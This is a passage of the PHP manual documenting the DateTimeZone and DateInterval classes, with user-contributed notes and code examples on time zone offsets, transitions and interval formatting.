  • DateTimeZone::getOffset — Returns the timezone offset from GMT
  • DateTimeZone::getTransitions — Returns all transitions for the timezone
  • DateTimeZone::listAbbreviations — Returns associative array containing dst, offset and the timezone name
  • DateTimeZone::listIdentifiers — Returns a numerically indexed array containing all defined timezone identifiers

User Contributed Notes

There are no user contributed notes for this page.


Creates new DateTimeZone object

  • « DateTimeZone
  • DateTimeZone::getLocation »
  • PHP Manual
  • DateTimeZone
  • Creates new DateTimeZone object

DateTimeZone::__construct

timezone_open

(PHP 5 >= 5.2.0)

DateTimeZone::__construct -- timezone_open — Creates new DateTimeZone object

Description

Object oriented style

public DateTimeZone::__construct ( string $timezone )

Procedural style

DateTimeZone timezone_open ( string $timezone )

Creates new DateTimeZone object.

Parameters

timezone

One of the supported timezone names.

Return Values

Returns DateTimeZone on success. Procedural style returns FALSE on failure.

Errors/Exceptions

This method throws Exception if the timezone supplied is not recognised as a valid timezone.

Examples

Example #1 Catching errors when instantiating DateTimeZone

<?php
// Error handling by catching exceptions
$timezones = array('Europe/London', 'Mars/Phobos', 'Jupiter/Europa');

foreach ($timezones as $tz) {
    try {
        $mars = new DateTimeZone($tz);
    } catch(Exception $e) {
        echo $e->getMessage() . '<br />';
    }
}
?>

The above example will output:

DateTimeZone::__construct() [datetimezone.--construct]: Unknown or bad timezone (Mars/Phobos)
DateTimeZone::__construct() [datetimezone.--construct]: Unknown or bad timezone (Jupiter/Europa)

User Contributed Notes

There are no user contributed notes for this page.


Returns location information for a timezone

  • « DateTimeZone::__construct
  • DateTimeZone::getName »
  • PHP Manual
  • DateTimeZone
  • Returns location information for a timezone

DateTimeZone::getLocation

timezone_location_get

(PHP 5 >= 5.3.0)

DateTimeZone::getLocation -- timezone_location_get — Returns location information for a timezone

Description

Object oriented style

public array DateTimeZone::getLocation ( void )

Procedural style

array timezone_location_get ( DateTimeZone $object )

Returns location information for a timezone, including country code, latitude/longitude and comments.

Parameters

object

Procedural style only: A DateTimeZone object returned by timezone_open()

Return Values

Array containing location information about timezone.

Examples

Example #1 DateTimeZone::getLocation() example

<?php
$tz = new DateTimeZone("Europe/Prague");
print_r($tz->getLocation());
print_r(timezone_location_get($tz));
?>

The above example will output:

Array
(
    [country_code] => CZ
    [latitude] => 50.08333
    [longitude] => 14.43333
    [comments] =>
)
Array
(
    [country_code] => CZ
    [latitude] => 50.08333
    [longitude] => 14.43333
    [comments] =>
)

User Contributed Notes

gwyneths at gmail dot com 31-Jan-2012 05:34
Print comments associated with timezones for a specific country. In this example, print all the comments for Canadian timezones.

<?php
$timeZones = DateTimeZone::listIdentifiers(DateTimeZone::PER_COUNTRY, 'CA');
foreach ( $timeZones as $key => $zoneName )
{
    $tz = new DateTimeZone($zoneName);
    $loc = $tz->getLocation();
    print($zoneName . " = " . $loc['comments'] . "<br>");
}
?>

Output:
America/Atikokan = Eastern Standard Time - Atikokan, Ontario and Southampton I, Nunavut
America/Blanc-Sablon = Atlantic Standard Time - Quebec - Lower North Shore
America/Cambridge_Bay = Mountain Time - west Nunavut
America/Dawson = Pacific Time - north Yukon
America/Dawson_Creek = Mountain Standard Time - Dawson Creek & Fort Saint John, British Columbia
America/Edmonton = Mountain Time - Alberta, east British Columbia & west Saskatchewan
...(snip)...


Returns the name of the timezone

  • « DateTimeZone::getLocation
  • DateTimeZone::getOffset »
  • PHP Manual
  • DateTimeZone
  • Returns the name of the timezone

DateTimeZone::getName

timezone_name_get

(PHP 5 >= 5.2.0)

DateTimeZone::getName -- timezone_name_get — Returns the name of the timezone

Description

Object oriented style

public string DateTimeZone::getName ( void )

Procedural style

string timezone_name_get ( DateTimeZone $object )

Returns the name of the timezone.

Parameters

object

The DateTimeZone for which to get a name.

Return Values

One of the timezone names in the list of timezones.

User Contributed Notes

There are no user contributed notes for this page.


Returns the timezone offset from GMT

  • « DateTimeZone::getName
  • DateTimeZone::getTransitions »
  • PHP Manual
  • DateTimeZone
  • Returns the timezone offset from GMT

DateTimeZone::getOffset

timezone_offset_get

(PHP 5 >= 5.2.0)

DateTimeZone::getOffset -- timezone_offset_get — Returns the timezone offset from GMT

Description

Object oriented style

public int DateTimeZone::getOffset ( DateTime $datetime )

Procedural style

int timezone_offset_get ( DateTimeZone $object , DateTime $datetime )

This function returns the offset to GMT for the date/time specified in the datetime parameter. The GMT offset is calculated with the timezone information contained in the DateTimeZone object being used.

Parameters

object

Procedural style only: A DateTimeZone object returned by timezone_open()

datetime

DateTime that contains the date/time to compute the offset from.

Return Values

Returns time zone offset in seconds on success or FALSE on failure.

Examples

Example #1 DateTimeZone::getOffset() examples

<?php
// Create two timezone objects, one for Taipei (Taiwan) and one for
// Tokyo (Japan)
$dateTimeZoneTaipei = new DateTimeZone("Asia/Taipei");
$dateTimeZoneJapan = new DateTimeZone("Asia/Tokyo");

// Create two DateTime objects that will contain the same Unix timestamp, but
// have different timezones attached to them.
$dateTimeTaipei = new DateTime("now", $dateTimeZoneTaipei);
$dateTimeJapan = new DateTime("now", $dateTimeZoneJapan);

// Calculate the GMT offset for the date/time contained in the $dateTimeTaipei
// object, but using the timezone rules as defined for Tokyo
// ($dateTimeZoneJapan).
$timeOffset = $dateTimeZoneJapan->getOffset($dateTimeTaipei);

// Should show int(32400) (for dates after Sat Sep 8 01:00:00 1951 JST).
var_dump($timeOffset);
?>

User Contributed Notes

Fred Gandt 22-Sep-2014 09:43
Procedural Style:

<?php
// Don't know where the server is or how its clock is set, so default to UTC
date_default_timezone_set( "UTC" );

// The client is in England where daylight savings may be in effect
$daylight_savings_offset_in_seconds = timezone_offset_get( timezone_open( "BST" ), new DateTime() );

// Do something useful with the number
echo date( "U" ) + $daylight_savings_offset_in_seconds;
?>
skanzow at gmx dot net 08-Sep-2011 03:55
A common problem is to format dates and times for XML documents.
The XML standard is defined as follows:

"
    To specify a time zone, you can either enter a dateTime in UTC time by adding a "Z" behind the time - like this:
    <startdate>2002-05-30T09:30:10Z</startdate>
    or you can specify an offset from the UTC time by adding a positive or negative time behind the time - like this:
    <startdate>2002-05-30T09:30:10-06:00</startdate>
"

Here is a possible solution in PHP:
<?php
if(date_default_timezone_get() == 'UTC') {
    $offsetString = 'Z'; // No need to calculate offset, as default timezone is already UTC
} else {
    $phpTime = '2002-05-30 09:30:10';
    $millis = strtotime($phpTime); // Convert time to milliseconds since 1970, using default timezone
    $timezone = new DateTimeZone(date_default_timezone_get()); // Get default system timezone to create a new DateTimeZone object
    $offset = $timezone->getOffset(new DateTime($phpTime)); // Offset in seconds to UTC
    $offsetHours = round(abs($offset)/3600);
    $offsetMinutes = round((abs($offset) - $offsetHours * 3600) / 60);
    $offsetString = ($offset < 0 ? '-' : '+')
                . ($offsetHours < 10 ? '0' : '') . $offsetHours
                . ':'
                . ($offsetMinutes < 10 ? '0' : '') . $offsetMinutes;
}
echo('<startdate>' . date('Y-m-d\TH:i:s', $millis) . $offsetString . '</startdate>'); // This is the correct XML format
?>


Returns all transitions for the timezone

  • « DateTimeZone::getOffset
  • DateTimeZone::listAbbreviations »
  • PHP Manual
  • DateTimeZone
  • Returns all transitions for the timezone

DateTimeZone::getTransitions

timezone_transitions_get

(PHP 5 >= 5.2.0)

DateTimeZone::getTransitions -- timezone_transitions_get — Returns all transitions for the timezone

Description

Object oriented style

public array DateTimeZone::getTransitions ([ int $timestamp_begin [, int $timestamp_end ]] )

Procedural style

array timezone_transitions_get ( DateTimeZone $object [, int $timestamp_begin [, int $timestamp_end ]] )

Parameters

object

Procedural style only: A DateTimeZone object returned by timezone_open()

timestamp_begin

Begin timestamp.

timestamp_end

End timestamp.

Return Values

Returns numerically indexed array containing associative array with all transitions on success or FALSE on failure.

Changelog

Version | Description
5.3.0 | The optional timestamp_begin and timestamp_end were added.

Examples

Example #1 A timezone_transitions_get() example

<?php
$timezone = new DateTimeZone("Europe/London");
$transitions = $timezone->getTransitions();
print_r(array_slice($transitions, 0, 3));
?>

The above example will output something similar to:

Array
(
    [0] => Array
        (
            [ts] => -9223372036854775808
            [time] => -292277022657-01-27T08:29:52+0000
            [offset] => 3600
            [isdst] => 1
            [abbr] => BST
        )

    [1] => Array
        (
            [ts] => -1691964000
            [time] => 1916-05-21T02:00:00+0000
            [offset] => 3600
            [isdst] => 1
            [abbr] => BST
        )

    [2] => Array
        (
            [ts] => -1680472800
            [time] => 1916-10-01T02:00:00+0000
            [offset] => 0
            [isdst] =>
            [abbr] => GMT
        )

)

User Contributed Notes

rubo77 15-Nov-2013 02:06
This will work  in PHP_VERSION < 5.3:

<?php
/** returns an array with two elements for spring and fall DST in a given year
 *  works in PHP_VERSION < 5.3
 *
 * @param integer $year
 * @param string $tz timezone
 * @return array
 **/
function getTransitionsForYear($year=null, $tz = null){
    if(!$year) $year=date("Y");

    if (!$tz) $tz = date_default_timezone_get();
    $timeZone = new DateTimeZone($tz);

    if (version_compare(PHP_VERSION, '5.3.0') >= 0) {
        $transitions = $timeZone->getTransitions(mktime(0, 0, 0, 2, 1, $year),mktime(0, 0, 0, 11, 31, $year));
        $index=1;
    } else {
        // since 1980 it is regular, the 29th element is 1980-04-06
            // change this in your timezone
            $first_regular_index=29;
            $first_regular_year=1980;
        $transitions = $timeZone->getTransitions();
        $index=($year-$first_regular_year)*2+$first_regular_index;
    }
    return array_slice($transitions, $index, 2);
}
rubo77 14-Nov-2013 02:04
This function will work in PHP < 5.3 :

/** returns an array with two elements for spring and fall DST in a given year
 *
 * @param integer $year
 * @param string $tz timezone
 * @return array
 **/
function getTransitionsForYear($year=null, $tz = null){
    if(!$year) $year=date("Y");

    if (!$tz) $tz = date_default_timezone_get();
    $timeZone = new DateTimeZone($tz);

    $transitions = $timeZone->getTransitions(mktime(0, 0, 0, 1, 1, $year));
    return array_slice($transitions, 1, 2);
}
tanguy dot pruvot at gmail dot com 05-Aug-2013 10:38
Beware if you use getTransitions() without a minimum date, it can be slow...
scotts 05-Mar-2010 08:19
Getting a timezone's offset and other data at a specified point in time (now, for example) using the new PHP5.3 parameters:

<?php
$theTime = time(); # specific date/time we're checking, in epoch seconds.

$tz = new DateTimeZone('America/Los_Angeles');
$transition = $tz->getTransitions($theTime,$theTime);

# only one array should be returned into $transition. Now get the data:
$offset = $transition[0]['offset'];
$abbr = $transition[0]['abbr'];
?>

Before PHP5.3, you'd have to loop through all of the Transitions up until the current point in time, which would be a very inefficient process.


Returns associative array containing dst, offset and the timezone name

  • « DateTimeZone::getTransitions
  • DateTimeZone::listIdentifiers »
  • PHP Manual
  • DateTimeZone
  • Returns associative array containing dst, offset and the timezone name

DateTimeZone::listAbbreviations

timezone_abbreviations_list

(PHP 5 >= 5.2.0)

DateTimeZone::listAbbreviations -- timezone_abbreviations_list — Returns associative array containing dst, offset and the timezone name

Description

Object oriented style

public static array DateTimeZone::listAbbreviations ( void )

Procedural style

array timezone_abbreviations_list ( void )

Return Values

Returns array on success or FALSE on failure.

Examples

Example #1 A timezone_abbreviations_list() example

<?php
$timezone_abbreviations = DateTimeZone::listAbbreviations();
print_r($timezone_abbreviations["acst"]);
?>

The above example will output something similar to:

Array
(
    [0] => Array
        (
            [dst] => 1
            [offset] => -14400
            [timezone_id] => America/Porto_Acre
        )

    [1] => Array
        (
            [dst] => 1
            [offset] => -14400
            [timezone_id] => America/Eirunepe
        )

    [2] => Array
        (
            [dst] => 1
            [offset] => -14400
            [timezone_id] => America/Rio_Branco
        )

    [3] => Array
        (
            [dst] => 1
            [offset] => -14400
            [timezone_id] => Brazil/Acre
        )

)

See Also

  • timezone_identifiers_list() - Alias of DateTimeZone::listIdentifiers

User Contributed Notes

jonathan at hogervorst dot info 18-Jan-2014 08:32
This method returns an associative array containing some 'major' timezones (like CEST), which on their own contain more specific 'geographic' timezones (like Europe/Amsterdam).

If you're using these timezones and their offset/DST information, it's extremely important to realize the following:

*It seems like ALL DIFFERENT OFFSET/DST CONFIGURATIONS (including historical configurations) of each timezone are included!*

For example, Europe/Amsterdam can be found six times in the output of this function. Two occurrences (offset 1172/4772) are for the Amsterdam time used until 1937; two (1200/4800) are for the time that was used between 1937 and 1940; and two (3600/4800) are for the time used since 1940.

*Therefore, YOU CANNOT RELY ON THE OFFSET/DST INFORMATION RETURNED BY THIS FUNCTION as being currently correct/in use!*

If you want to know the current offset/DST of a certain timezone, you'll have to do something like this:

<?php
$now = new DateTime(null, new DateTimeZone('Europe/Amsterdam'));
echo $now->getOffset();
?>

P.S. I'm sorry for my use of caps lock in this post, but as this behavior is not described in the documentation, I considered it to be important enough to shout. Normally I don't do such things :)
kingskippus at gmail dot com 04-Apr-2009 05:32
Note that the dst field is of boolean type, so if you are doing an identity comparison, you need to test for true or false, not 0 or 1.  For example:

<?php
  $timezone_abbreviations = DateTimeZone::listAbbreviations();
  foreach ($timezone_abbreviations["est"] as $tz) {
    echo $tz['timezone_id'];
    // if ($tz['dst'] === 1) will always evaluate to false
    if ($tz['dst'] === true) {
      echo " (DST observed)<br />\n";
    }
    // Could use else here, but for illustration...
    if ($tz['dst'] === false) {
      echo " (DST not observed)<br />\n";
    }
  }
?>


Returns a numerically indexed array containing all defined timezone identifiers

  • « DateTimeZone::listAbbreviations
  • DateInterval »
  • PHP Manual
  • DateTimeZone
  • Returns a numerically indexed array containing all defined timezone identifiers

DateTimeZone::listIdentifiers

timezone_identifiers_list

(PHP 5 >= 5.2.0)

DateTimeZone::listIdentifiers -- timezone_identifiers_list — Returns a numerically indexed array containing all defined timezone identifiers

Description

Object oriented style

public static array DateTimeZone::listIdentifiers ([ int $what = DateTimeZone::ALL [, string $country = NULL ]] )

Procedural style

array timezone_identifiers_list ([ int $what = DateTimeZone::ALL [, string $country = NULL ]] )

Parameters

what

One of DateTimeZone class constants.

country

A two-letter ISO 3166-1 compatible country code.

Note: This option is only used when what is set to DateTimeZone::PER_COUNTRY.

Return Values

Returns array on success or FALSE on failure.

Changelog

Version | Description
5.3.0 | Added the optional what and country parameters.

Examples

Example #1 A timezone_identifiers_list() example

<?php
$timezone_identifiers = DateTimeZone::listIdentifiers();
for ($i=0; $i < 5; $i++) {
    echo "$timezone_identifiers[$i]\n";
}
?>

The above example will output something similar to:

Africa/Abidjan
Africa/Accra
Africa/Addis_Ababa
Africa/Algiers
Africa/Asmara

See Also

  • timezone_abbreviations_list() - Alias of DateTimeZone::listAbbreviations

User Contributed Notes

There are no user contributed notes for this page.


The DateInterval class

(PHP 5 >= 5.3.0)

Introduction

Represents a date interval.

A date interval stores either a fixed amount of time (in years, months, days, hours etc) or a relative time string in the format that DateTime's constructor supports.

Class synopsis

DateInterval {
/* Properties */
public integer $y ;
public integer $m ;
public integer $d ;
public integer $h ;
public integer $i ;
public integer $s ;
public integer $invert ;
public mixed $days ;
/* Methods */
public __construct ( string $interval_spec )
public static DateInterval createFromDateString ( string $time )
public string format ( string $format )
}

Properties

y

Number of years.

m

Number of months.

d

Number of days.

h

Number of hours.

i

Number of minutes.

s

Number of seconds.

invert

Is 1 if the interval represents a negative time period and 0 otherwise. See DateInterval::format().

days

If the DateInterval object was created by DateTime::diff(), then this is the total number of days between the start and end dates. Otherwise, days will be FALSE.

Before PHP 5.4.20/5.5.4 instead of FALSE you will receive -99999 upon accessing the property.

Table of Contents

  • DateInterval::__construct — Creates a new DateInterval object
  • DateInterval::createFromDateString — Sets up a DateInterval from the relative parts of the string
  • DateInterval::format — Formats the interval

User Contributed Notes

0bccbf3a at opayq dot com 11-Apr-2014 02:26
invert flag is unreliable.
If you've created interval with \DateInterval::createFromDateString with value like '1 day ago' than actually days counter will be negative, and invert flag will be 0. Also, setting invert to 1 with negative units is not working.
Reliable solution to check if interval is negative is to actually apply it and compare:
<?php
    private function isNegative(\DateInterval $interval)
    {
        $now = new \DateTimeImmutable();
        $newTime = $now->add($interval);
        return $newTime < $now;
    }
?>
Also, if you want to compare some units of two intervals you should take abs() of them. Or make whole interval absolute:
<?php
    private function absInterval(\DateInterval $interval)
    {
        $now = new \DateTimeImmutable();
        $new = $now->add($interval);
        $newInt = $now->diff($new);
        if (1 === $newInt->invert) {
            $newInt->invert = 0;
        }
        return $newInt;
    }
?>
P.S.: tested on 5.5.12-dev and 5.5.9
Joan 18-Dec-2013 05:03
I had the doubt after reading this page on how to create negative intervals. So far the only solution is to create the interval and negativize it.

<?php
$date1 = new DateTime();
$eightynine_days_ago = new DateInterval( "P89D" );
$eightynine_days_ago->invert = 1; //Make it negative.
$date1->add( $eightynine_days_ago );
?>

and then $date1 is now 89 days in the past.

This information is extracted from another php comment http://www.php.net/manual/en/dateinterval.construct.php#102976 but this page seems to be the first place where people will look for it.
theDustin 09-Oct-2013 12:35
If you want to format a \DateInterval to something like you input (new \DateInterval("P3W2D")) you can use one of this:

<?php

class MyDateInterval extends \DateInterval
{

    /**
     * formating string like ISO 8601 (PnYnMnDTnHnMnS)
     */
    const INTERVAL_ISO8601 = 'P%yY%mM%dDT%hH%iM%sS';

    /**
     * formating the interval like ISO 8601 (PnYnMnDTnHnMnS)
     *
     * @return string
     */
    function __toString()
    {
        $sReturn = 'P';

        if($this->y){
            $sReturn .= $this->y . 'Y';
        }

        if($this->m){
            $sReturn .= $this->m . 'M';
        }

        if($this->d){
            $sReturn .= $this->d . 'D';
        }

        if($this->h || $this->i || $this->s){
            $sReturn .= 'T';

            if($this->h){
                $sReturn .= $this->h . 'H';
            }

            if($this->i){
                $sReturn .= $this->i . 'M';
            }

            if($this->s){
                $sReturn .= $this->s . 'S';
            }
        }

        return $sReturn;
    }
}

?>

example use:

<?php

$oDateIntervalValue = new MyDateInterval('P3M');

$sFormatResult = $oDateIntervalValue->format(MyDateInterval::INTERVAL_ICALENDAR); // "P0Y3M0DT0H0M0S"
$sToStringResult = (string) $oDateIntervalValue; // "P3M"

var_dump(new MyDateInterval($sFormatResult)); // object like $oDateIntervalValue
var_dump(new MyDateInterval($sToStringResult)); // object like $oDateIntervalValue

?>
till at php dot net 19-Sep-2013 11:20
It should be noted that the following code will not throw an exception or return false, or anything:

<?php
$interval = new \DateInterval::createFromDateString("this is not a date interval");
?>

Your best way to check if what you created is a "valid" interval, by doing something like the following:

<?php
$interval = new \DateInterval::createFromDateString("this is not a date interval");
if (0 == $interval->format('s')) {
     throw new \LogicException("Wrong interval");
 }
?>
till at php dot net 19-Sep-2013 11:18
It should be noted that the following code will not throw an exception or return false, or anything:

<?php
$interval = new \DateInterval::createFromDateString("this is not a date interval");
?>

Your best way to check if what you created is a "valid" interval, by doing something like the following:

<?php
$interval = new \DateInterval::createFromDateString("this is not a date interval");
if (0 == $interval->format('s')) {
     throw new \LogicException("Wrong interval");
 }
?>
Miller 29-Aug-2013 04:06
This DateInterval extension allows you to write a formatted timestamp but omit the "zero values" and handle things like listing, plurals, etc.
Example input: '%y year(s)', '%m month(s)', '%d day(s)', '%h hour(s)', '%i minute(s)', '%s second(s)'
Example output: 1 year, 2 months, 16 days, 1 minute, and 15 seconds
Example input: '%y año(s)', '%m mes(es)', '%d día(s)', '%h hora(s)', '%i minuto(s)', '%s segundo(s)'
Example output: 1 año, 2 meses, 16 días, 1 minuto, y 15 segundos

<meta charset="UTF-8">
<?php
error_reporting(E_ALL);

class MyDateInterval extends DateInterval {
    public
        $pluralCheck = '()',
            // Must be exactly 2 characters long
            // The first character is the opening brace, the second the closing brace
            // Text between these braces will be used if > 1, or replaced with $this->singularReplacement if = 1
        $singularReplacement = '',
            // Replaces $this->pluralCheck if = 1
            // hour(s) -> hour
        $separator = ', ',
            // Delimiter between units
            // 3 hours, 2 minutes
        $finalSeparator = ', and ',
            // Delimeter between next-to-last unit and last unit
            // 3 hours, 2 minutes, and 1 second
        $finalSeparator2 = ' and ';
            // Delimeter between units if there are only 2 units
            // 3 hours and 2 minutes

    public static function createFromDateInterval (DateInterval $interval) {
        $obj = new self('PT0S');
        foreach ($interval as $property => $value) {
            $obj->$property = $value;
        }
        return $obj;
    }

    public function formatWithoutZeroes () {
        // Each argument may have only one % parameter
        // Result does not handle %R or %r -- but you can retrieve that information using $this->format('%R') and using your own logic
        $parts = array ();
        foreach (func_get_args() as $arg) {
            $pre = mb_substr($arg, 0, mb_strpos($arg, '%'));
            $param = mb_substr($arg, mb_strpos($arg, '%'), 2);
            $post = mb_substr($arg, mb_strpos($arg, $param)+mb_strlen($param));
            $num = intval(parent::format($param));

            $open = preg_quote($this->pluralCheck[0], '/');
            $close = preg_quote($this->pluralCheck[1], '/');
            $pattern = "/$open(.*)$close/";
            list ($pre, $post) = preg_replace($pattern, $num == 1 ? $this->singularReplacement : '$1', array ($pre, $post));

            if ($num != 0) {
                $parts[] = $pre.$num.$post;
            }
        }

        $output = '';
        $l = count($parts);
        foreach ($parts as $i => $part) {
            $output .= $part.($i < $l-2 ? $this->separator : ($l == 2 ? $this->finalSeparator2 : ($i == $l-2 ? $this->finalSeparator : '')));
        }
        return $output;
    }
}

date_default_timezone_set('America/Phoenix');

$today = new DateTime('today');
echo 'Today is ', $today->format('F d, Y h:ia'), '.<br>', PHP_EOL;
    // Today is August 28, 2013 12:00am.<br>
$expiration = new DateTime('today +1 year +2 months +16 days +1 minute +15 seconds');
echo 'Expires ', $expiration->format('F d, Y h:ia'), '.<br>', PHP_EOL;
    // Expires November 13, 2014 12:01am.<br>

$interval = MyDateInterval::createFromDateInterval($today->diff($expiration));

echo 'That is ', $interval->formatWithoutZeroes('%y year(s)', '%m month(s)', '%d day(s)', '%h hour(s)', '%i minute(s)', '%s second(s)'), ' from now.<br>', PHP_EOL;
    // That is 1 year, 2 months, 16 days, 1 minute, and 15 seconds from now.

$interval->finalSeparator = ', y ';
$interval->finalSeparator2 = ' y ';
echo 'Que es de ', $interval->formatWithoutZeroes('%y año(s)', '%m mes(es)', '%d día(s)', '%h hora(s)', '%i minuto(s)', '%s segundo(s)'), ' a partir de ahora.';
    // Que es de 1 año, 2 meses, 16 días, 1 minuto, y 15 segundos a partir de ahora.
    // Is that correct? Spanish isn't my strength....
?>
computrius 31-Jul-2013 11:32
It appears that they "days" property that is populated by \DateTime::diff does not contain a float for the differences in time.
It is rounded down to the nearest whole day.

    $d1 = new \DateTime("2013-07-31 10:29:00");
    $d2 = new \DateTime("2013-08-02 5:32:12");
    echo $d1->diff($d2)->days;

Output: 1
artur at qrupa dot com 30-Nov-2012 08:46
When using DateInterval('P3M') on 30th of November you get March instead of Ferbuary.
p dot scheit at ps-webforge dot com 15-Mar-2011 03:07
If you want to convert a Timespan given in Seconds into an DateInterval Object you could dot the following:

<?php

$dv = new DateInterval('PT'.$timespan.'S');
?>

but wenn you look at the object, only the $dv->s property is set.

As stated in the documentation to DateInterval::format

The DateInterval::format() method does not recalculate carry over points in time strings nor in date segments. This is expected because it is not possible to overflow values like "32 days" which could be interpreted as anything from "1 month and 4 days" to "1 month and 1 day".

If you still want to calculate the seconds into hours / days / years, etc do the following:

<?php

$d1 = new DateTime();
$d2 = new DateTime();
$d2->add(new DateInterval('PT'.$timespan.'S'));

$iv = $d2->diff($d1);

?>

$iv is an DateInterval set with days, years, hours, seconds, etc ...


Creates a new DateInterval object

  • « DateInterval
  • DateInterval::createFromDateString »
  • PHP Manual
  • DateInterval
  • Creates a new DateInterval object

DateInterval::__construct

(PHP 5 >= 5.3.0)

DateInterval::__construct — Creates a new DateInterval object

Description

public DateInterval::__construct ( string $interval_spec )

Creates a new DateInterval object.

Parameters

interval_spec

An interval specification.

The format starts with the letter P, for "period." Each duration period is represented by an integer value followed by a period designator. If the duration contains time elements, that portion of the specification is preceded by the letter T.

interval_spec Period Designators
Period Designator | Description
Y | years
M | months
D | days
W | weeks. These get converted into days, so can not be combined with D.
H | hours
M | minutes
S | seconds

Here are some simple examples. Two days is P2D. Two seconds is PT2S. Six years and five minutes is P6YT5M.

Note:

The unit types must be entered from the largest scale unit on the left to the smallest scale unit on the right. So years before months, months before days, days before minutes, etc. Thus one year and four days must be represented as P1Y4D, not P4D1Y.

The specification can also be represented as a date time. A sample of one year and four days would be P0001-00-04T00:00:00. But the values in this format can not exceed a given period's roll-over-point (e.g. 25 hours is invalid).

These formats are based on the » ISO 8601 duration specification.

Errors/Exceptions

Throws an Exception when the interval_spec cannot be parsed as an interval.

Examples

Example #1 DateInterval example

<?php

$interval = new DateInterval('P2Y4DT6H8M');
var_dump($interval);

?>

The above example will output:

object(DateInterval)#1 (8) {
  ["y"]=>
  int(2)
  ["m"]=>
  int(0)
  ["d"]=>
  int(4)
  ["h"]=>
  int(6)
  ["i"]=>
  int(8)
  ["s"]=>
  int(0)
  ["invert"]=>
  int(0)
  ["days"]=>
  bool(false)
}

See Also

  • DateInterval::format() - Formats the interval
  • DateTime::add() - Adds an amount of days, months, years, hours, minutes and seconds to a DateTime object
  • DateTime::sub() - Subtracts an amount of days, months, years, hours, minutes and seconds from a DateTime object
  • DateTime::diff() - Returns the difference between two DateTime objects

User Contributed Notes

bkilinc at deyta dot net 21-Dec-2013 12:28
interval_spec Period Designators, has two 'M's for months and minutes.
owen at beliefs.com 12-Jul-2013 12:20
M is used to indicate both months and minutes.

As noted on the referenced wikipedia page for ISO 6801 http://en.wikipedia.org/wiki/Iso8601#Durations

To resolve ambiguity, "P1M" is a one-month duration and "PT1M" is a one-minute duration (note the time designator, T, that precedes the time value).

Using: PHP 5.3.2-1ubuntu4.19

// For 3 Months
$dateTime = new DateTime;echo $dateTime->format( DateTime::ISO8601 ), PHP_EOL;
$dateTime->add(new DateInterval("P3M"));
echo $dateTime->format( DateTime::ISO8601 ), PHP_EOL;
Results in:
2013-07-11T11:12:26-0400
2013-10-11T11:12:26-0400

// For 3 Minutes
$dateTime = new DateTime;echo $dateTime->format( DateTime::ISO8601 ), PHP_EOL;
$dateTime->add(new DateInterval("PT3M"));
echo $dateTime->format( DateTime::ISO8601 ), PHP_EOL;
Results in:
2013-07-11T11:12:42-0400
2013-07-11T11:15:42-0400

Insert a T after the P in the interval to add 3 minutes instead of 3 months.
buvinghausen at gmail dot com 10-Apr-2012 03:50
I think it is easiest if you would just use the sub method on the DateTime class.

<?php
$date = new DateTime();
$date->sub(new DateInterval("P89D"));
daniellehr at gmx dot de 21-Mar-2012 10:06
Alternatively you can use DateInterval::createFromDateString() for negative intervals:

<?php
$date = new DateTime();
$date->add(DateInterval::createFromDateString('-89 days'));
jawzx01 at gmail dot com 22-Feb-2012 07:43
As previously mentioned, to do a negative DateInterval object, you'd code:

<?php
$date1 = new DateTime();
$eightynine_days_ago = new DateInterval( "P89D" );
$eightynine_days_ago->invert = 1; //Make it negative.
$date1->add( $eightynine_days_ago );
?>

and then $date1 is now 89 days in the past.
kevinpeno at gmail dot com 17-Mar-2011 08:47
Note that, while a DateInterval object has an $invert property, you cannot supply a negative directly to the constructor similar to specifying a negative in XSD ("-P1Y"). You will get an exception through if you do this.

Instead you need to construct using a positive interval ("P1Y") and the specify the $invert property === 1.
kuzb 05-Feb-2011 01:42
It should be noted that this class will not calculate days/hours/minutes/seconds etc given a value in a single denomination of time.  For example:

<?php
    $di = new DateInterval('PT3600S');
    echo $di->format('%H:%i:%s');

?>

will yield 0:0:3600 instead of the expected 1:0:0


Sets up a DateInterval from the relative parts of the string

  • « DateInterval::__construct
  • DateInterval::format »
  • PHP Manual
  • DateInterval
  • Sets up a DateInterval from the relative parts of the string

DateInterval::createFromDateString

(PHP 5 >= 5.3.0)

DateInterval::createFromDateString — Sets up a DateInterval from the relative parts of the string

Description

public static DateInterval DateInterval::createFromDateString ( string $time )

Uses the normal date parsers and sets up a DateInterval from the relative parts of the parsed string.

Parameters

time

A date with relative parts. Specifically, the relative formats supported by the parser used for strtotime() and DateTime will be used to construct the DateInterval.

Examples

Example #1 Parsing valid date intervals

<?php
// Each set of intervals is equal.
$i = new DateInterval('P1D');
$i = DateInterval::createFromDateString('1 day');

$i = new DateInterval('P2W');
$i = DateInterval::createFromDateString('2 weeks');

$i = new DateInterval('P3M');
$i = DateInterval::createFromDateString('3 months');

$i = new DateInterval('P4Y');
$i = DateInterval::createFromDateString('4 years');

$i = new DateInterval('P1Y1D');
$i = DateInterval::createFromDateString('1 year + 1 day');

$i = new DateInterval('P1DT12H');
$i = DateInterval::createFromDateString('1 day + 12 hours');

$i = new DateInterval('PT3600S');
$i = DateInterval::createFromDateString('3600 seconds');
?>

Return Values

Returns a new DateInterval instance.

User Contributed Notes

msleman at boot dot dot dot com 29-Oct-2010 05:39
Sample usage:

<?php
$interval = DateInterval::createFromDateString('1 month');
?>
Anonymous 28-Sep-2009 09:02
DateInterval::createFromDateString ( string $time )

When the manual says "Uses the normal date parsers" it means that this function cannot take $time = ISO8601 strings like "P7D".  If you want to use those, you must use the constructor.


Formats the interval

  • « DateInterval::createFromDateString
  • DatePeriod »
  • PHP Manual
  • DateInterval
  • Formats the interval

DateInterval::format

(PHP 5 >= 5.3.0)

DateInterval::format — Formats the interval

Description

public string DateInterval::format ( string $format )

Formats the interval.

Parameters

format

The following characters are recognized in the format parameter string. Each format character must be prefixed by a percent sign (%).
format character | Description | Example values
% Literal % %
Y | Years, numeric, at least 2 digits with leading 0 | 01, 03
y | Years, numeric | 1, 3
M | Months, numeric, at least 2 digits with leading 0 | 01, 03, 12
m | Months, numeric | 1, 3, 12
D | Days, numeric, at least 2 digits with leading 0 | 01, 03, 31
d | Days, numeric | 1, 3, 31
a | Total number of days as a result of a DateTime::diff() or (unknown) otherwise | 4, 18, 8123
H | Hours, numeric, at least 2 digits with leading 0 | 01, 03, 23
h | Hours, numeric | 1, 3, 23
I | Minutes, numeric, at least 2 digits with leading 0 | 01, 03, 59
i | Minutes, numeric | 1, 3, 59
S | Seconds, numeric, at least 2 digits with leading 0 | 01, 03, 57
s | Seconds, numeric | 1, 3, 57
R Sign "-" when negative, "+" when positive -, +
r Sign "-" when negative, empty when positive -,

Return Values

Returns the formatted interval.

Notes

Note:

